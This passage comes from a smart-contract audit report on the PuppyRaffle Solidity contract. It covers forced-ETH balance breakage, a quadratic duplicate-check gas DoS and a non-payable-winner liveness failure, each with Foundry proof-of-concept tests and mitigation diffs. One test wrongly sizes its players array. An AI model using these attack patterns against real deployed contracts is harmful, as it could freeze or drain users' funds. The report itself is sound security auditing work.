        vm.startPrank(attacker);
        ForcedETH forcedETH = new ForcedETH{value: fundsForDoS}();
        forcedETH.attack(payable(address(puppyRaffle)));
        vm.stopPrank();

        // Time skip
        vm.warp(puppyRaffle.raffleStartTime() + duration + 1);

        // Select winner and end the game
        vm.prank(playerOne);
        puppyRaffle.selectWinner();

        uint256 feeToWithdraw = (entranceFee * players.length) * 20 / 100;
        uint256 expectedBalance = feeToWithdraw + fundsForDoS;
        assertEq(address(puppyRaffle).balance, expectedBalance, "Forced ETH
breaks balance-based invariant");

        vm.expectRevert("PuppyRaffle: There are currently players active!");
        vm.prank(feeAddress);
        puppyRaffle.withdrawFees();
    }
```

## Recommended Mitigation

Avoid using *address(this).balance* as a proxy for protocol state, since ETH can be forcibly sent to contracts and will break balance-based invariants.

Instead:

- Track raffle activity explicitly (e.g., *activePlayersCount*, or a round state flag like *OPEN/CALCULATING/FINALIZED*).
- Gate *withdrawFees()* using internal accounting and explicit protocol state (e.g., require(*activePlayersCount == 0*) and/or *require(roundFinalized)*), rather than relying on the raw ETH balance.

A robust accounting approach separates:

- `totalFees` (fees accrued and withdrawable)
- player liabilities / active pot (deposits owed to participants)

Optionally, if acceptable in the trust model, provide a recovery mechanism for unexpected ETH:

- `excessETH = address(this).balance - trackedLiabilities` and decide whether it is withdrawable or remains stuck.

```
contract PuppyRaffle is ERC721, Ownable {
     using Address for address payable;

     uint256 public immutable entranceFee;

     address[] public players;
+
+    // Track number of active (non-refunded) players explicitly.
+    // This avoids relying on address(this).balance, which can be modified
via forced ETH (e.g., selfdestruct).
+    uint256 public activePlayersCount;

     uint256 public raffleDuration;
     uint256 public raffleStartTime;
...
   constructor(uint256 _entranceFee, address _feeAddress, uint256
_raffleDuration) ERC721("Puppy Raffle", "PR") {
         entranceFee = _entranceFee;

         feeAddress = _feeAddress;
         raffleDuration = _raffleDuration;
         raffleStartTime = block.timestamp;
+        activePlayersCount = 0;
...

     function enterRaffle(address[] memory newPlayers) public payable {
         require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
Must send enough to enter raffle");
         for (uint256 i = 0; i < newPlayers.length; i++) {
             players.push(newPlayers[i]);
         }

         // Check for duplicates
         for (uint256 i = 0; i < players.length - 1; i++) {
             for (uint256 j = i + 1; j < players.length; j++) {
                 require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
             }
         }
+
+        // Only update after all checks pass (so we don't count players in
reverted txs)
+        activePlayersCount = activePlayersCount + newPlayers.length;
+
         emit RaffleEnter(newPlayers);
     }
...
     function refund(uint256 playerIndex) public {
         address playerAddress = players[playerIndex];
         require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
         require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");
+
+        // Update active player accounting (Solidity 0.7.x: ensure no
underflow)
+        activePlayersCount = activePlayersCount - 1;

         payable(msg.sender).sendValue(entranceFee);

         players[playerIndex] = address(0);
         emit RaffleRefunded(playerAddress);
     }

...
     function selectWinner() external {
         require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
-        require(players.length >= 4, "PuppyRaffle: Need at least 4
players");
+        require(activePlayersCount >= 4, "PuppyRaffle: Need at least 4
players");

         uint256 winnerIndex =
             uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
         address winner = players[winnerIndex];
-        uint256 totalAmountCollected = players.length * entranceFee;
+        // Use active player count for accounting, since refunds leave holes
in `players`.
+        uint256 totalAmountCollected = activePlayersCount * entranceFee;
         uint256 prizePool = (totalAmountCollected * 80) / 100;
         uint256 fee = (totalAmountCollected * 20) / 100;

         totalFees = totalFees + uint64(fee);

         uint256 tokenId = totalSupply();
...
         delete players;
+        activePlayersCount = 0;
         raffleStartTime = block.timestamp;
         previousWinner = winner;
         (bool success,) = winner.call{value: prizePool}("");
         require(success, "PuppyRaffle: Failed to send prize pool to winner");
         _safeMint(winner, tokenId);
     }
```

```
...
    function withdrawFees() external {
-        require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+        // Do not rely on address(this).balance, which can be externally modified via forced ETH (e.g., selfdestruct).
+        require(activePlayersCount == 0, "PuppyRaffle: There are currently players active!");
         uint256 feesToWithdraw = totalFees;
         totalFees = 0;
         (bool success,) = feeAddress.call{value: feesToWithdraw}("");
         require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Forced ETH doesn't trigger *receive/fallback* + balance is not a reliable state variable.

## M-02: Quadratic duplicate check in *PuppyRaffle::enterRaffle()* enables gas-based DoS and limits raffle scalability

### Description

*enterRaffle()* performs a quadratic (**O(n²)**) duplicate check over the entire *players* array after appending new entries. As the array grows, this check becomes increasingly expensive in gas, eventually making *enterRaffle()* uncallable within realistic gas limits even when all provided addresses are unique.

This creates a **gas-based denial-of-service vector** and imposes a hard scalability ceiling on the raffle, preventing further participation without requiring invalid input or privileged access

```
function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must
send enough to enter raffle");

    for (uint256 i = 0; i < newPlayers.length; i++) {
        players.push(newPlayers[i]);
    }

    // Quadratic duplicate check over entire players array
@>  for (uint256 i = 0; i < players.length - 1; i++) {
@>      for (uint256 j = i + 1; j < players.length; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
        }
    }

    emit RaffleEnter(newPlayers);
}
```

### Impact

- Legitimate users may be unable to enter the raffle once the *players* array exceeds a certain size, resulting in a denial of service for new participants.
- The protocol becomes non-scalable and unreliable under realistic gas constraints, undermining usability and fairness despite all inputs being valid.

## Likelihood

- As the raffle accumulates participants, the gas cost of *enterRaffle()* grows quadratically with the size of the *players* array, making the issue reachable during normal protocol usage.
- An attacker or heavy user can intentionally submit large batches of unique addresses early on, accelerating growth of the *players* array and pushing the function beyond feasible gas limits.

## Proof of Concept

A Foundry test demonstrates a concrete scalability ceiling by enforcing a fixed per-call gas limit.

With *GAS_LIMIT = 8_000_000*, *enterRaffle()* succeeds when adding **75 unique participants** but fails at **76 participants** due to an out-of-gas error, despite all addresses being unique.

This confirms that the denial of service is **gas-driven**, not caused by logical reverts, and is directly attributable to the quadratic duplicate check over the growing *players* array.

```
    function _makeUniquePlayers(uint256 n, uint256 salt) internal pure
returns (address[] memory arr) {
        arr = new address[](n);
        for (uint256 i = 0; i < n; i++) {
            // deterministic unique addresses
            arr[i] = address(uint160(uint256(keccak256(abi.encodePacked("P",
salt, i)))));
        }
    }

    function _tryEnter(uint256 n, uint256 gasLimit) internal returns (bool
ok) {
        address[] memory newPlayers = _makeUniquePlayers(n, 777);

        bytes memory data =
abi.encodeWithSelector(puppyRaffle.enterRaffle.selector, newPlayers);

        // fund the caller for msg.value; we'll use prank as playerOne
        uint256 value = entranceFee * n;
        vm.deal(playerOne, value);

        vm.prank(playerOne);
        (ok,) = address(puppyRaffle).call{value: value, gas: gasLimit}(data);
    }

    function test_gasDoS_duplicatesCheck_threshold() public {
        // Pick a realistic per-tx gas limit to demonstrate scalability
failure
        uint256 GAS_LIMIT = 8_000_000;

        // Establish a search range. 1..MAX_N
        uint256 lo = 1;
        uint256 hi = 600; // adjust up/down depending on runtime

        // Ensure hi is failing; if not, increase it
        while (_tryEnter(hi, GAS_LIMIT)) {
            hi *= 2;
            require(hi < 5000, "Increase upper bound safely");
        }

        // Binary search: find max n that still succeeds
        while (lo + 1 < hi) {
            uint256 mid = (lo + hi) / 2;

            bool ok = _tryEnter(mid, GAS_LIMIT);
            if (ok) {
                lo = mid;
            } else {
                hi = mid;
            }
        }

        console.log("Max entrants that fit in gas limit:", lo);
        console.log("First failing entrants count:", hi);

        // Assert that a failure threshold exists within tested range
        assertTrue(lo >= 1);
        assertFalse(_tryEnter(hi, GAS_LIMIT));
        console.log("lo", lo);
        console.log("hi", hi);
    }
```

## Recommended Mitigation

Avoid O($n^2$) duplicate checks over an ever-growing array. Instead, enforce uniqueness in **O(1)** time using a mapping that tracks active participants.

- Set to *true* when a player enters the raffle.
- Set to *false* on refund.
- Clear or reset appropriately when the raffle round ends (e.g., when deleting *players*)

```
contract PuppyRaffle is ERC721, Ownable {
     using Address for address payable;
```

```
    uint256 public immutable entranceFee;

    address[] public players;
+   mapping(address => bool) public isActive;

...
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
Must send enough to enter raffle");
-       for (uint256 i = 0; i < newPlayers.length; i++) {
-           players.push(newPlayers[i]);
-       }
-
-       // Check for duplicates
-       for (uint256 i = 0; i < players.length - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-               require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
-           }
-       }
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+           address p = newPlayers[i];
+           require(p != address(0), "PuppyRaffle: Invalid player");
+           require(!isActive[p], "PuppyRaffle: Duplicate player");
+           isActive[p] = true;
+           players.push(p);
+       }
        emit RaffleEnter(newPlayers);
    }

...
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
+       // Mark player inactive (keep array hole behavior if desired)
+       isActive[playerAddress] = false;
+       players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }

...
    function selectWinner() external {
...
-       delete players;
+       // Reset active flags for all players in this round
+       for (uint256 i = 0; i < players.length; i++) {
```

```
+             address p = players[i];
+             if (p != address(0)) {
+                 isActive[p] = false;
+             }
+         }
+         delete players;
          raffleStartTime = block.timestamp;
          previousWinner = winner;
          (bool success,) = winner.call{value: prizePool}("");
          require(success, "PuppyRaffle: Failed to send prize pool to winner");
          _safeMint(winner, tokenId);
      }
```

## M-03: Push-based prize payout allows non-payable winner to permanently brick raffle finalization

### Description

Raffle finalization relies on a **push-based ETH transfer** to the selected winner and requires this transfer to succeed. If the winner is a contract that rejects ETH (e.g., by reverting in *receive()* or *fallback()*), the prize transfer fails and causes *selectWinner()* to revert entirely.

Because all state changes occur **after** the ETH transfer, the raffle round cannot be finalized. The protocol remains stuck in the same state, and no alternative completion or recovery path is available.

As a result, a single non-payable or intentionally reverting winner can permanently block raffle finalization, causing a liveness failure of the core protocol functionality.

```
function selectWinner() external {
    ...
    raffleStartTime = block.timestamp;
    previousWinner = winner;

    // Push-based payout: winner can be a contract that rejects ETH, causing
selectWinner() to revert
    // and permanently preventing the raffle round from being finalized
(liveness DoS).
    (bool success,) = winner.call{value: prizePool}("");
@>  require(success, "PuppyRaffle: Failed to send prize pool to winner");
    _safeMint(winner, tokenId);
}
```

### Impact

- The raffle round becomes permanently unfinalizable, as *selectWinner()* will consistently revert when attempting to transfer the prize pool to a non-payable winner.
- Core protocol liveness is broken: no winner can be finalized, no NFT can be minted, and the raffle cannot progress to subsequent rounds, resulting in a permanent denial of service of primary protocol functionality.

### Likelihood

- The raffle allows contract-based participants, and *selectWinner()* can be called by any address once the raffle duration elapses, making it possible for a non-payable contract to be selected as the winner during normal operation.
- The protocol provides no fallback or recovery mechanism if the winner cannot receive ETH, so a single incompatible or malicious participant is sufficient to block progress.

### Proof of Concept

- *src/RejectETH.sol* implements a contract that rejects incoming ETH by reverting in *receive()* or *fallback()*.

```
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

contract RejectETH {
    receive() external payable {
        revert();
    }

    fallback() external payable {
        revert();
    }
}
```

- A Foundry test in *PuppyRaffleTest.t.sol* deterministically selects this contract as the winner to demonstrate the failure mode.

```
import {RejectETH} from "../src/RejectETH.sol";
...
    function test_selectWinner_DoS_whenWinnerRejectsETH() public {
        address attackerEOA = address(0xBaD);
        RejectETH rejectETH = new RejectETH();

        // 1) Make the test deterministic
        uint256 t = 1680616584;
        uint256 d = 1; // any fixed difficulty works for deterministic PoC
        vm.warp(t);
        vm.difficulty(d);

        // 2) Choose who will call selectWinner (affects RNG)
        address caller = attackerEOA;
        // 3) Compute the winner index exactly like the contract
        uint256 playersLen = 4;
        uint256 winnerIndex = uint256(
            keccak256(abi.encodePacked(caller, t, d))
        ) % playersLen;

        // 4) Build players so that the computed winner is the RejectETH
    contract
        address[] memory players = new address[](3);

        // Fill with normal EOAs first
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;

        // Place malicious winner at the computed index
        players[winnerIndex] = address(rejectETH);

        // 5) Enter raffle (payer can be anyone; use attackerEOA for
    simplicity)
        uint256 totalEntry = entranceFee * playersLen;
        vm.deal(attackerEOA, totalEntry);
        vm.prank(attackerEOA);
        puppyRaffle.enterRaffle{value: totalEntry}(players);

        // 6) Move time forward so raffle is over
        vm.warp(puppyRaffle.raffleStartTime() + duration + 1);

        // 7) selectWinner reverts because winner rejects ETH
        vm.expectRevert("PuppyRaffle: Failed to send prize pool to winner");
        vm.prank(caller);
        puppyRaffle.selectWinner();
    }
```

The PoC fixes block inputs solely for demonstration purposes. The vulnerability itself does **not** rely on controlling randomness; it arises from the protocol’s requirement that the winner must successfully receive ETH for raffle completion.

An attacker can further increase the likelihood of this scenario by registering multiple contract-based participants that intentionally reject ETH, making raffle finalization probabilistically likely to fail.

## Recommended Mitigation

Avoid push-based ETH transfers during raffle finalization.

**Instead:**

- Record the winner and prize amount during `selectWinner()`.
- Allow the winner to claim the prize via a **pull-based withdrawal function**.

**Alternatively:**

- Place the prize in escrow and decouple raffle finalization from ETH transfer success.

Both approaches ensure that raffle rounds can always be finalized, preserving protocol liveness regardless of winner behavior.

```
contract PuppyRaffle is ERC721, Ownable {
...
     address public previousWinner;
     address public feeAddress;
     uint64 public totalFees = 0;
+
+    // Prize escrow for pull-based payout
+    mapping(address => uint256) public pendingPrizes;

...
 function selectWinner() external {
     require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
     require(players.length >= 4, "PuppyRaffle: Need at least 4 players");

     ...

     delete players;
     raffleStartTime = block.timestamp;
     previousWinner = winner;

-    (bool success,) = winner.call{value: prizePool}("");
-    require(success, "PuppyRaffle: Failed to send prize pool to winner");
+    // Record prize for pull-based withdrawal
+    pendingPrizes[winner] += prizePool;

     _safeMint(winner, tokenId);
 }

...
+    /// @notice Allows winners to withdraw their prize via pull-based
payment
+    function withdrawPrize() external {
+        uint256 prize = pendingPrizes[msg.sender];
+        require(prize > 0, "PuppyRaffle: No prize to withdraw");
+
+        pendingPrizes[msg.sender] = 0;
+        (bool success,) = msg.sender.call{value: prize}("");
+        require(success, "PuppyRaffle: Prize withdrawal failed");
+    }
```